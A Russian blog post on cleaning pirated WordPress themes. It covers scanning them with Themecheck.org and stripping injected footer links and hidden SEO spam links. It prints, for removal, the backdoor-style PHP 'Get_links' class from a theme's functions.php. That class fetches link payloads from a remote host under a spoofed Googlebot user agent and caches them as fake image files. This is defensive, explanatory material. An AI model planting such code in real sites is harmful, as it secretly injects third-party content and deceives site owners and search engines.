Всем привет. Если вы качаете темы wordpress на различных сайтах (не с официального источника wordpress),
то скорее всего у вас появились ссылки на сайте а скоро и появятся скрытые ссылки (вы их не увидите, зато
поисковики их быстро заметят и могут влепить агс).
Я расскажу как убрать ссылки wordpress и проверить свою тему на уязвимости.
Но это ещё пол беды, ведь тот кто выложил тему может получить доступ к теме, а то и не дай бог к админке сайта зная или сделав заранее дыры в теме.
Я вот как раз налетел на такую тему к счастью вроде кроме скрытых ссылок ничего не появилось.
Я только недавно стал осваивать блогинг и wordpress, но хорошо что быстро заметил всё, поэтому неизвестно что могло быть если бы всё осталось как есть.
Плагин TAC для поиска ссылок, в нашем случае абсолютно бесполезен.
Как проверить тему WordPress.
Есть прекрасный сайт для проверки тем WordPress и Joomla. Themecheck.org здесь можно проверить тему.
Он проверяет темы в zip формате, на возможные уязвимости и ошибки.
Для начала скачал тему с одного стороннего сайта который предлагал русские (переведенные темы). Название темы «Kommunity». И вот результат
Результат 0 (тоесть безопасность равна 0). Вот тебе и бесплатный сыр в мышеловке.
Если прокрутить чуть ниже на сайте то будут написаны опасные строки безопасности и не только.
Сайт на английском, но можно воспользоваться переводчиком в Google chrome если вы им пользуетесь.
Естественно мало удалить строчки, нужно убирать части кода. Я напишу ниже что можно убрать (известные проблемы).
А теперь для сравнения тема с официального WordPress источника, название темы «Relik».
Результат 100% безопасности. Конечно иногда бывает поменьше даже в официальных темах, но всё же на так страшно.
Ещё имеется скрипт для проверки сайта полностью, называется «ai-bolit», но это рассмотрим в другой теме.
Но что делать если вам всё же нужна русская тема, и чтобы быстрее найти на стороннем сайте? А может у вас уже установлена такая тема и вы к ней привыкли и не желаете менять.
Я напишу как убрать ссылки wordpress .
Итак. Во первых, уверен у вас появилась ссылка какой либо сайт внизу (в подвале) .
Чтобы убрать, нужно открыть в редакторе файл footer.php и удалить оттуда ссылку вида
и сохраняем.
Внимание: Возможно тема защищена от удаления этой ссылки, и если вы удалите сайт не будет отображаться.
В таком случае изменяем файл functions.php.
Находим строчку if (strpos ($c,$l)==0) и исправляем на if (strpos ($c,$l)==1) .
Теперь можно удалять и ссылку в подвале если ещё это не сделали.
Убираем скрытые ссылки.
А вот теперь как убрать скрытые ссылки wordpress или как предотвратить их появление.
Я совсем случайно один раз обнаружил у себя скрытую ссылку через один сервис, понял что срочно нужно исправлять. Иначе за такое можно словить и АГС (яндексу всеравно вы продаете ссылки или кто то за вас их размещает и получает деньги).
Чтобы убрать ссылки wordpress нужно редактировать файл comments.php (именно в комментариях я замечал скрытые ссылки).
Открываем файл и удаляем оттуда следующие строки :
= $links->get_remote (); echo $links; ?><?php if ( post_password_required () ) return; ?>
Существующие скрытые ссылки пропадут и больше не появятся. Но это ещё не всё.
Следующий шаг: редактируем файл functions.php.
Отсюда нужно удалить достаточно крупную часть кода. Может отличаться от вашего, но всё же похожи будут.
error_reporting ('^ E_ALL ^ E_NOTICE');
ini_set ('display_errors', '0');
error_reporting (E_ALL);
ini_set ('display_errors', '0');
class Get_links {
var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote () {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode ($_SERVER['REQUEST_URI']);
$_user_agent = «Mozilla/5.0 (compatible; Googlebot/2.1; „.$req_url.“)»;
$links_class = new Get_links ();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set ('allow_url_fopen', 1);
@ini_set ('default_socket_timeout', $_socket_timeout);
@ini_set ('user_agent', $_user_agent);
if (function_exists ('file_get_contents')) {
$opts = array (
'http'=>array (
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
«User-Agent: {$_user_agent}\r\n»
)
);
$context = stream_context_create ($opts);
$data = @file_get_contents ('http://' . $host . $path, false, $context);
preg_match ('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}
function return_links ($lib_path) {
$links_class = new Get_links ();
$file = ABSPATH.'wp-content/uploads/2011/'.md5 ($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists ($file))
{
@touch ($file, time ());
$data = $links_class->get_remote ();
file_put_contents ($file, $data);
return $data;
} elseif ( time () -filemtime ($file) > $_cache_lifetime || filesize ($file) == 0) {
@touch ($file, time ());
$data = $links_class->get_remote ();
file_put_contents ($file, $data);
return $data;
} else {
$data = file_get_contents ($file);
return $data;
}
}
}
Вот собственно и всё, мы рассмотрели как удалить ссылку wordpress. На всякий случай, архивируем уже редактированную тему в zip формат и проверяем потом её.
Как говорят, если вы качаете плагины со сторонних сайтов так же высока вероятность встретить какую либо заразу, так что старайтесь обойтись бесплатными плагинами либо покупайте у разработчиков если возможно.
Берегите себя.
Новые комментарии